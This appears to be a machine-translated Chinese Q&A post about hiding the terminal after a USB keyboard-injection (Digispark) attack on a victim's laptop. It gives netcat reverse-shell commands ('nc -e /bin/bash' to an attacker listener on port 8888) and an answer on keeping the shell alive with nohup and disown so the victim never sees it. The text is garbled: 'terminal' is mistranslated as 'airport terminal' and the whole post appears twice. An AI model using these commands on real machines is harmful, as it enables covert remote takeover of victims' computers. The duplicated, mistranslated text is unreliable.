隐藏一个没有屏幕的反向shell终端
Hide a reverse shell terminal without screen
场景: 攻击者将一个用作键盘的 USB 插入受害者的笔记本电脑。有效负载打开终端,执行反向 shell 并 隐藏 终端。
问题: 我在本地进行的测试(ubuntu 19.04,以及 digispark 作为 usb)如下:
一个
A 航站楼nc -e /bin/bash 10.10.10.10 8888
B航站楼nc -vlp 8888
一切正常,我的 shell 终端 B 上有提示,但终端 A 未隐藏。那么在这种情况下就没用了
两个
航站楼 A nc -e /bin/bash 10.10.10.10 8888&; disown; exit
B航站楼nc -vlp 8888
终端B挂了,终端A隐藏了。没用。
三个
航站楼A nohup nc -e /bin/bash 10.10.10.10 8888&; exit
B航站楼nc -vlp 8888
终端B挂起,终端A隐藏
四个
终端 A:我打开 screen
然后执行 nc -e /bin/bash 10.10.10.10 8888
, CTRL^A
,然后 d
最后 exit
.
B航站楼nc -vlp 8888
使用 screen
一切正常(终端 B 接收到工作 shell 并且终端 A 不可见)但我不想使用屏幕,因为默认情况下未安装它。
问题: 有没有办法(使用预安装的工具)隐藏没有 screen
但使用相同的终端效果?
nohup nc ...&; disown; exit
shell退出后,终端会注销或关闭(取决于它是哪种终端),并向控制进程组发送SIGHUP,这将导致nc退出。
使用nohup
脱离终端并在它自己的进程组中运行nc
(因此它将不再在终端的控制进程组中),因此不会发送SIGHUP
场景: 攻击者将一个用作键盘的 USB 插入受害者的笔记本电脑。有效负载打开终端,执行反向 shell 并 隐藏 终端。
问题: 我在本地进行的测试(ubuntu 19.04,以及 digispark 作为 usb)如下:
一个
A 航站楼nc -e /bin/bash 10.10.10.10 8888
B航站楼nc -vlp 8888
一切正常,我的 shell 终端 B 上有提示,但终端 A 未隐藏。那么在这种情况下就没用了
两个
航站楼 A nc -e /bin/bash 10.10.10.10 8888&; disown; exit
B航站楼nc -vlp 8888
终端B挂了,终端A隐藏了。没用。
三个
航站楼A nohup nc -e /bin/bash 10.10.10.10 8888&; exit
B航站楼nc -vlp 8888
终端B挂起,终端A隐藏
四个
终端 A:我打开 screen
然后执行 nc -e /bin/bash 10.10.10.10 8888
, CTRL^A
,然后 d
最后 exit
.
B航站楼nc -vlp 8888
使用 screen
一切正常(终端 B 接收到工作 shell 并且终端 A 不可见)但我不想使用屏幕,因为默认情况下未安装它。
问题: 有没有办法(使用预安装的工具)隐藏没有 screen
但使用相同的终端效果?
nohup nc ...&; disown; exit
shell退出后,终端会注销或关闭(取决于它是哪种终端),并向控制进程组发送SIGHUP,这将导致nc退出。
使用nohup
脱离终端并在它自己的进程组中运行nc
(因此它将不再在终端的控制进程组中),因此不会发送SIGHUP